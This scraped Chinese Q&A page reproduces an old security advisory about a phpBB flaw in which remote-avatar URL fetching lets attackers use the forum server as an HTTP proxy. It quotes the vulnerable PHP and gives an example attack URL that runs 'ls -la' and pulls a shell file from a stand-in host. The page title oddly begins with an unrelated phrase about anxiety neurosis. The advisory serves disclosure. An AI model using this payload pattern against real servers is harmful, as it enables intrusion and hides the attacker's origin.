焦虑性神经症的特点:phpBB可作为HTTP代理使用漏洞---具体怎么实现.详细请进.

来源:百度文库 编辑:高考问答 时间:2024/04/29 23:45:13
phpBB是一种用PHP语言实现的基于Web的开放源码论坛程序,使用较为广泛。它支持多种数据库作为后端,如Oracle、MSSQL、MySql、PostGres等等。

phpBB对用户请求的处理上存在输入验证漏洞,远程攻击者可能利用此漏洞把phpBB服务器作为HTTP代理使用,隐藏CGI攻击的真实来源。

在phpBB的usercp_avatar.php文件中125-153行:

...
if ( $avatar_mode == 'remote' && \
preg_match('/^(http:\/\/)?([\w\-\.]+)\:?([0-9]*)\/(.*)$/', $avatar_filename, \
$url_ary) ) {
if ( empty($url_ary[4]) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . \
$lang['Incomplete_URL'] : $lang['Incomplete_URL']; return;
}

$base_get = '/' . $url_ary[4];
$port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;

if ( !($fsock = @fsockopen($url_ary[2], $port, $errno, $errstr)) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . \
$lang['No_connection_URL'] : $lang['No_connection_URL']; return;
}

@fputs($fsock, "GET $base_get HTTP/1.1\r\n");
@fputs($fsock, "HOST: " . $url_ary[2] . "\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");

unset($avatar_data);
while( !@feof($fsock) )
{
$avatar_data .= @fread($fsock, $board_config['avatar_filesize']);
}
@fclose($fsock);
...

phpBB没有检查用户提供的值是否是以图形扩展名结束的,也没有检查所提供的字符串是否包含有“&”和“?”字符,因此攻击者可以提交类似于以下的值:

http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt

phpBB就会执行以下的GET请求:

GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt HTTP/1.0
HOST: some_vulnerable.host
Connection: close

这样phpBB就会被用作HTTP代理访问其他的Web服务器。

<*来源:rgod (rgod@autistici.org)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114746905805341&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114771082404483&w=2

参考链接 http://www.nsfocus.net/vulndb/8826